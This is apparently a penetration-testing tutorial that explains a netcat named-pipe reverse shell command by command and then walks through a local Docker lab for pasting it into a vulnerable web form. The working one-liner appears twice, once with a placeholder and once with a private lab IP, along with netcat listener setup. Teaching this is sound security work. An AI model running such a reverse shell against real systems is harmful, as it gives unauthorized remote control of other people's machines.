Anatomy of a Reverse Shell: nc named pipe

Depiction of a file being read into a shell, which goes into a laptop, which goes back into the file.

In penetration testing and hacking one of the main goals is to obtain a reverse shell on the target/victim system. Sometimes the code and commands to obtain these reverse shells can be very complicated if you aren't familiar with every little peice of the command that is chained together. Today we'll be discussing a netcat named pipe reverse shell, and breaking it down to fully understand how this reverse shell works.

Netcat named pipe

Here is the reverse shell command that we are taking a deeper look into:

1rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT > /tmp/f

If you have remote code execution on a target system, and that system has nc installed and available, you can enter the above code replacing IP and PORT with your own IP and a listening port, and you will get a shell on the target box that lets you enter commands and receive the output of those commands in your own terminal.

Lets break down each one of these individual commands and take a closer look at what they do, and how they work together to give you a semi-interactive reverse shell.

rm /tmp/f;
This one is simple, first off it just removes the /tmp/f file if it exists. This will allow this file to be created in the next step without interferring with an existing file. Ideally this filename would fairly unique, and if you're using one of these in a CTF or engagement, make sure to use a unique filename for all instances of the /tmp/f file in the command.

mkfifo /tmp/f;
This uses mkfifo to create a first in first out file. This is a special type of file also known as a named pipe. This file can be opened by one process for reading, and opened by another process for writing.

Anything the writing process puts in the file is immediately read by the process that is reading the same file.

cat /tmp/f
cat is typically used to read a file and output the contents to the terminal. In this instance, since we are reading in a FIFO/Named Pipe file cat will read the file, but since no program has begun writing to it there is no End Of File (EOF) marker. The program waits at this point for data to show up.

Once new data shows up, it will read the contents and send those contents down the pipeline to the next command, and if no EOF is seen pause and keep re-trying until new data is added to the file again. This process repeats until an EOF is read in.

| /bin/sh -i 2>&1
The contents of the /tmp/f file from the previous cat command are sent to the /bin/sh shell. We also supply the -i flag to sh which means this is an interactive session, and it will execute any commands as they are read in from /tmp/f.

Finally the 2>&1 says to redirect the error output into the standard output. By default error text is sent to a seperate error output stream and this is not sent forward to the next command, by redirecting error into standard output error text is then also sent to standard output so it is sent to the next command in the pipe.

Info

Why do almost all reverse shells use /bin/sh instead of the friendlier /bin/bash?
Not all systems will have /bin/bash installed. However, the /bin/sh shell will always be avialable on all Unix/Linux operating systems, even embedded and IoT systems!

| nc IP PORT > /tmp/f
Next we take the output of our sh command (which is executing commands it sees in the /tmp/f file) and use netcat to connect to our specified IP and PORT. In addition, any input we receive from the IP (ie: commands being typed in) will be written to the /tmp/f file where they will be read by cat and piped into sh to repeat this process.

Putting it all together

This type of reverse shell is cyclical in nature. Initially you read in the empty /tmp/f file, and /bin/sh executes nothing, because the file is empty. The output of executing the nothingness is then sent to nc at your IP, which allows you to type in a command that is then written to the /tmp/f file, immediately sent to the /bin/sh by the cat /tmp/f command, and the output of the command sent back to your nc session for you to see the output on your screen.

Hands on Docker lab

If you have docker you can use this hands on lab to practice the reverse shell commands demonstrated in this post. You can also use the lab to try out other reverse shell techniques. For a great reverse shell reference and command builder check out RevShells.com.

Pre-requisites

To follow along with this lab you will need to have a few items installed on your PC. You will need Docker and Netcat.

Installing Docker

Docker is available for Windows, Linux, and MacOS. Please reference the official Docker documentation for information on installing Docker for your OS.

Installing Netcat

Windows

You can download nc.exe from int0x33's GitHub. Just save this somewhere and execute it directly from the command prompt.

Linux

Netcat should be available in whatever package manager your linux distribution is using.

MacOS

Netcat should be available by default. Try running nc from a Terminal.

Finding your IP

To get the reverse shell to connect to you, you first need to know what your own IP is. Follow these simple steps to get your local IP address.

For Windows

Run the following in a command prompt and make note of your IPv4 Address. This will either be from the Ethernet adapter if you're plugged into the network, or Wireless Adapter if you're using WiFi.

1ipconfig

For Linux and MacOS

For most Linux distributions and MacOS you can use the following to grab your IP address:

1ifconfig

Starting the Docker rce-lab

Open a Command Prompt or Terminal window and run the following to launch the Docker image and serve it on port 80:

1docker run -itp 80:80 --rm rufflabs/rce-lab

Testing Remote Code Execution

Open your browser and go to http://localhost/ and you should see a simple webpage offering an input box for a command to run.

Start off with a simple command like whoami or ls -al to confirm that we have code execution on this website. You can confirm that nc is avialable by entering the command which nc which will return the path to the nc executable. Since we receive a path to nc, we know it's avialable. Otherwise it wouldn't be found.

Gaining Reverse Shell

With code execution inside the server (a docker container in this instance) we can almost asuredly obtain a reverse shell via netcat.

Starting a netcat listener

To receive the reverse shell we need to start a Netcat listener. This will tell Netcat to run on your local PC and listen on a specific port for a connection. Any data received over that connection will be displayed in your terminal, and any data you type into that window will be transmitted to the other side of the connection.

If you're on Windows, open a Command Prompt window and use cd <path> to navigate to the location that your nc.exe was downloaded to. For example: cd %USERPROFILE%\Downloads\

If you're on MacOS or Linux, open a Terminal and you should have nc available as a command.

For Linux and Windows, run the following to start a listener on your local PC on port 4444, feel free to change the port if you want to.

1nc -lp 4444

If you're on MacOS, use the following instead, which is the same except for you can't specify the -p option, unless you have installed netcat via brew or some other means. The nc that comes with MacOS needs to be ran like this:

1nc -l 4444

You should have a netcat listener running now, the window will be blank, and if you type anything into it nothing will happen yet because we don't have a connection from the other side. Next let's use our Remote Code Execution (RCE) on the docker container to turn this into a reverse shell.

Using RCE for Reverse Shell

We can take our netcat named pipe reverse shell from the start of this post and add in our IP address and port numbers. Here is the command I'm going to use:

1rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.101 4444 > /tmp/f

Paste that command (updating the IP address as needed) into the input box on the site, and submit it. The webpage and browser should hang at this point, which is expected and normal. If we go to our terminal with the netcat listener we should see a shell prompt, and we can enter commands just like we did on the site, but this time instead of a web shell it's a reverse netcat shell!

Info

Why does the browser hang?
When the backend php code runs the reverse shell commands, the process never completes as the reverse shell process keeps repeating. Since this process never completes, the php process continues running and doesn't return any data to the browser. Eventually the php process will timeout and your reverse shell may be disconnected.